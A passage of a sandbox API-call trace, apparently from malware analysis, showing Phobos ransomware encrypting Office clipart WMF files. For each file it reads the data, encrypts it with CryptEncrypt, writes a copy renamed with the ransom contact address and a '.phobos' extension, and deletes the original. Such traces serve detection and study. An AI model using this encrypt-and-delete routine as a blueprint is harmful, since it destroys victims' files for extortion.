dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0169.623] CryptEncrypt (in: hKey=0x1d1710, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0169.624] CryptDestroyKey (hKey=0x1d1710) returned 1 [0169.624] WriteFile (in: hFile=0x2e0, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0169.624] CryptDestroyKey (hKey=0x1d17d0) returned 1 [0169.624] CloseHandle (hObject=0x2c8) returned 1 [0169.624] CloseHandle (hObject=0x2e0) returned 1 [0169.625] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf")) returned 1 [0169.626] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0169.627] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0169.627] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=11994) returned 1 [0169.627] CloseHandle (hObject=0x2e0) returned 1 [0169.627] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf")) returned 0x220 [0169.627] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.628] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0169.628] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0169.628] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0169.628] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0169.629] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d14d0) returned 1 [0169.629] CryptSetKeyParam (hKey=0x1d14d0, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0169.629] ReadFile (in: hFile=0x2e0, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0x2eda, lpOverlapped=0x0) returned 1 [0170.026] CryptEncrypt (in: hKey=0x1d14d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x2ee0, dwBufLen=0x2ee0 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x2ee0) returned 1 [0170.027] WriteFile (in: hFile=0x2c8, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0x2ee0, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0x2ee0, lpOverlapped=0x0) returned 1 [0170.028] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d1510) returned 1 [0170.028] CryptSetKeyParam (hKey=0x1d1510, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0170.028] CryptEncrypt (in: hKey=0x1d1510, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0170.028] CryptDestroyKey (hKey=0x1d1510) returned 1 [0170.028] WriteFile (in: hFile=0x2c8, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0170.028] CryptDestroyKey (hKey=0x1d14d0) returned 1 [0170.028] CloseHandle (hObject=0x2e0) returned 1 [0170.028] CloseHandle (hObject=0x2c8) returned 1 [0170.028] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf")) returned 1 [0170.030] SetEvent (hEvent=0x298) returned 1 [0170.030] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0170.031] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0170.031] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=30240) returned 1 [0170.031] CloseHandle (hObject=0x2c8) returned 1 [0170.031] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf")) returned 0x220 [0170.031] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0170.031] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0170.032] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0170.032] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0170.032] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0170.036] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d19d0) returned 1 [0170.036] CryptSetKeyParam (hKey=0x1d19d0, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0170.036] ReadFile (in: hFile=0x2c8, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0x7620, lpOverlapped=0x0) returned 1 [0170.242] CryptEncrypt (in: hKey=0x1d19d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x7630, dwBufLen=0x7630 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x7630) returned 1 [0170.242] WriteFile (in: hFile=0x2e0, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0x7630, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0x7630, lpOverlapped=0x0) returned 1 [0170.243] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d1a10) returned 1 [0170.243] CryptSetKeyParam (hKey=0x1d1a10, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0170.244] CryptEncrypt (in: hKey=0x1d1a10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0170.244] CryptDestroyKey (hKey=0x1d1a10) returned 1 [0170.244] WriteFile (in: hFile=0x2e0, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0170.244] CryptDestroyKey (hKey=0x1d19d0) returned 1 [0170.244] CloseHandle (hObject=0x2c8) returned 1 [0170.244] CloseHandle (hObject=0x2e0) returned 1 [0170.244] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf")) returned 1 [0170.246] SetEvent (hEvent=0x298) returned 1 [0170.246] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0170.246] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0170.246] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=14194) returned 1 [0170.247] CloseHandle (hObject=0x2e0) returned 1 [0170.247] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf")) returned 0x220 [0170.247] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0170.247] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0170.247] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0170.247] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0170.247] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0170.248] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d1850) returned 1 [0170.248] CryptSetKeyParam (hKey=0x1d1850, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0170.248] ReadFile (in: hFile=0x2e0, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0x3772, lpOverlapped=0x0) returned 1 [0170.259] CryptEncrypt (in: hKey=0x1d1850, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x3780, dwBufLen=0x3780 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x3780) returned 1 [0170.259] WriteFile (in: hFile=0x2c8, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0x3780, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0x3780, lpOverlapped=0x0) returned 1 [0170.270] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d1410) returned 1 [0170.270] CryptSetKeyParam (hKey=0x1d1410, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0170.270] CryptEncrypt (in: hKey=0x1d1410, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0170.270] CryptDestroyKey (hKey=0x1d1410) returned 1 [0170.270] WriteFile (in: hFile=0x2c8, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0170.270] CryptDestroyKey (hKey=0x1d1850) returned 1 [0170.270] CloseHandle (hObject=0x2e0) returned 1 [0170.270] CloseHandle (hObject=0x2c8) returned 1 [0170.270] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf")) returned 1 [0170.272] SetEvent (hEvent=0x298) returned 1 [0170.273] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0170.273] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0170.273] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=15856) returned 1 [0170.273] CloseHandle (hObject=0x2c8) returned 1 [0170.276] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf")) returned 0x220 [0170.276] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0170.277] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0170.277] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0170.277] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0170.277] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0170.278] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d1590) returned 1 [0170.278] CryptSetKeyParam (hKey=0x1d1590, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0170.278] ReadFile (in: hFile=0x2c8, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0x3df0, lpOverlapped=0x0) returned 1 [0170.363] CryptEncrypt (in: hKey=0x1d1590, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x3e00, dwBufLen=0x3e00 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x3e00) returned 1 [0170.364] WriteFile (in: hFile=0x2e0, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0x3e00, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0x3e00, lpOverlapped=0x0) returned 1 [0170.365] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d1910) returned 1 [0170.365] CryptSetKeyParam (hKey=0x1d1910, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0170.365] CryptEncrypt (in: hKey=0x1d1910, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0170.365] CryptDestroyKey (hKey=0x1d1910) returned 1 [0170.365] WriteFile (in: hFile=0x2e0, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0170.365] CryptDestroyKey (hKey=0x1d1590) returned 1 [0170.365] CloseHandle (hObject=0x2c8) returned 1 [0170.365] CloseHandle (hObject=0x2e0) returned 1 [0170.366] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf")) returned 1 [0170.368] SetEvent (hEvent=0x298) returned 1 [0170.368] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0170.368] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0170.368] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=18194) returned 1 [0170.368] CloseHandle (hObject=0x2e0) returned 1 [0170.368] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf")) returned 0x220 [0170.368] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0170.369] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0170.369] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0170.369] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0170.369] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0170.370] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d1450) returned 1 [0170.370] CryptSetKeyParam (hKey=0x1d1450, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0170.370] ReadFile (in: hFile=0x2e0, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0x4712, lpOverlapped=0x0) returned 1 [0170.572] CryptEncrypt (in: hKey=0x1d1450, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x4720, dwBufLen=0x4720 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x4720) returned 1 [0170.572] WriteFile (in: hFile=0x2c8, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0x4720, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0x4720, lpOverlapped=0x0) returned 1 [0170.573] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d1890) returned 1 [0170.573] CryptSetKeyParam (hKey=0x1d1890, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0170.573] CryptEncrypt (in: hKey=0x1d1890, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0170.573] CryptDestroyKey (hKey=0x1d1890) returned 1 [0170.573] WriteFile (in: hFile=0x2c8, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0170.573] CryptDestroyKey (hKey=0x1d1450) returned 1 [0170.574] CloseHandle (hObject=0x2e0) returned 1 [0170.574] CloseHandle (hObject=0x2c8) returned 1 [0170.574] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf")) returned 1 [0170.575] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0170.575] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0170.576] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=4074) returned 1 [0170.576] CloseHandle (hObject=0x2c8) returned 1 [0170.576] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf")) returned 0x220 [0170.576] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft 